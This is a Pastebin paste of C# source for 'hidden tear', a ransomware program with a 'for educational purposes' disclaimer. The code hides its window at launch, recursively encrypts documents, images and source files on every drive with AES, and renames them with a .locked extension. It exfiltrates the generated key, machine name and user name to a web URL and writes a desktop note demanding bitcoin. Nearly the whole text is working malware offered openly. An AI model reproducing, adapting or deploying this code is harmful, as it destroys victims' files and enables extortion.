Advertisement
Guest User

Untitled

a guest
May 5th, 2018
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.25 KB | None | 0 0
  1. /*
  2. _ _ _ _ _
  3. | | (_) | | | | | |
  4. | |__ _ __| | __| | ___ _ __ | |_ ___ __ _ _ __
  5. | '_ \| |/ _` |/ _` |/ _ \ '_ \ | __/ _ \/ _` | '__|
  6. | | | | | (_| | (_| | __/ | | | | || __/ (_| | |
  7. |_| |_|_|\__,_|\__,_|\___|_| |_| \__\___|\__,_|_|
  8.  
  9. * Coded by Utku Sen(Jani) / August 2015 Istanbul / utkusen.com
  10. * hidden tear may be used only for Educational Purposes. Do not use it as a ransomware!
  11. * You could go to jail on obstruction of justice charges just for running hidden tear, even though you are innocent.
  12. *
  13. * Ve durdu saatler
  14. * Susuyor seni zaman
  15. * Sesin dondu kulagimda
  16. * Dedi uykudan uyan
  17. *
  18. * Yine boyle bir aksamdi
  19. * Sen guluyordun ya gozlerimin icine
  20. * Feslegenler boy vermisti
  21. * Gokten parlak bir yildiz dustu pesine
  22. * Sakladim gozyaslarimi
  23. */
  24.  
  25. using System;
  26. using System.Diagnostics;
  27. using System.Collections.Generic;
  28. using System.ComponentModel;
  29. using System.Data;
  30. using System.Drawing;
  31. using System.Linq;
  32. using System.Text;
  33. using System.Threading.Tasks;
  34. using System.Windows.Forms;
  35. using System.Security;
  36. using System.Security.Cryptography;
  37. using System.IO;
  38. using System.Collections.Specialized;
  39. using System.Net;
  40. using System.Collections;
  41. using Microsoft.Win32;
  42. using System.Runtime.InteropServices;
  43. using System.Text.RegularExpressions;
  44.  
  45.  
  46. namespace hidden_tear
  47. {
  48.  
  49. public partial class Form1 : Form
  50. {
  51. //Url to send encryption password and computer info
  52. string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
  53. string userName = Environment.UserName;
  54. string computerName = System.Environment.MachineName.ToString();
  55. string userDir = "C:\\Users\\";
  56.  
  57.  
  58.  
  59. public Form1()
  60. {
  61. InitializeComponent();
  62. }
  63.  
  64. private void Form1_Load(object sender, EventArgs e)
  65. {
  66. Opacity = 0;
  67. this.ShowInTaskbar = false;
  68. //starts encryption at form load
  69. startAction();
  70.  
  71. }
  72.  
  73. private void Form_Shown(object sender, EventArgs e)
  74. {
  75. Visible = false;
  76. Opacity = 100;
  77. }
  78.  
  79. //AES encryption algorithm
  80. public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
  81. {
  82. byte[] encryptedBytes = null;
  83. byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  84. using (MemoryStream ms = new MemoryStream())
  85. {
  86. using (RijndaelManaged AES = new RijndaelManaged())
  87. {
  88. AES.KeySize = 256;
  89. AES.BlockSize = 128;
  90.  
  91. var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
  92. AES.Key = key.GetBytes(AES.KeySize / 8);
  93. AES.IV = key.GetBytes(AES.BlockSize / 8);
  94.  
  95. AES.Mode = CipherMode.CBC;
  96.  
  97. using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
  98. {
  99. cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
  100. cs.Close();
  101. }
  102. encryptedBytes = ms.ToArray();
  103. }
  104. }
  105.  
  106. return encryptedBytes;
  107. }
  108.  
  109. //creates random password for encryption
  110. public string CreatePassword(int length)
  111. {
  112. const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
  113. StringBuilder res = new StringBuilder();
  114. Random rnd = new Random();
  115. while (0 < length--){
  116. res.Append(valid[rnd.Next(valid.Length)]);
  117. }
  118. return res.ToString();
  119. }
  120.  
  121. //Sends created password target location
  122. public void SendPassword(string password){
  123.  
  124. string info = computerName + "-" + userName + " " + password;
  125. var fullUrl = targetURL + info;
  126. var conent = new System.Net.WebClient().DownloadString(fullUrl);
  127. }
  128.  
  129. //Encrypts single file
  130. public void EncryptFile(string file, string password)
  131. {
  132.  
  133. byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
  134. byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
  135.  
  136. // Hash the password with SHA256
  137. passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
  138.  
  139. byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
  140.  
  141. File.WriteAllBytes(file, bytesEncrypted);
  142. System.IO.File.Move(file, file+".locked");
  143.  
  144.  
  145.  
  146.  
  147. }
  148.  
  149. //encrypts target directory
  150. public void encryptDirectory(string location, string password)
  151. {
  152.  
  153. //extensions to be encrypt
  154. var validExtensions = new[]
  155. {
  156. ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
  157. };
  158.  
  159. string[] files = Directory.GetFiles(location);
  160. for (int i = 0; i < files.Length; i++){
  161. string extension = Path.GetExtension(files[i]);
  162. if (validExtensions.Contains(extension))
  163. {
  164. try
  165. {
  166. EncryptFile(files[i], password);
  167. }
  168. catch
  169.  
  170. {
  171.  
  172. }
  173. }
  174. }
  175.  
  176.  
  177.  
  178. }
  179.  
  180. public void startAction()
  181. {
  182. StringCollection listDirectory = new StringCollection();
  183.  
  184. string[] Drives = Environment.GetLogicalDrives();
  185. foreach (string s in Drives)
  186. {
  187.  
  188. FindDirectory(s, listDirectory);
  189.  
  190. }
  191.  
  192.  
  193. string password = CreatePassword(15);
  194. SendPassword(password);
  195.  
  196. foreach (string dir in listDirectory)
  197. {
  198.  
  199. encryptDirectory(dir, password);
  200.  
  201. }
  202.  
  203.  
  204.  
  205.  
  206. messageCreator();
  207. password = null;
  208. System.Windows.Forms.Application.Exit();
  209. }
  210.  
  211. static bool FindDirectory(string path, StringCollection listDirectory)
  212. {
  213. listDirectory.Add(path);
  214. try
  215. {
  216. string[] subDirectories =
  217. Directory.GetDirectories(path, "*.*", SearchOption.TopDirectoryOnly);
  218. subDirectories.All(x => FindDirectory(x, listDirectory));
  219. }
  220. catch (Exception exception)
  221. {
  222. }
  223. return true;
  224. }
  225.  
  226. public void messageCreator()
  227. {
  228. string path = "\\Desktop\\READ_IT.txt";
  229. string fullpath = userDir + userName + path;
  230. string[] lines = { "Files has been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk." };
  231. System.IO.File.WriteAllLines(fullpath, lines);
  232. }
  233. }
  234. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement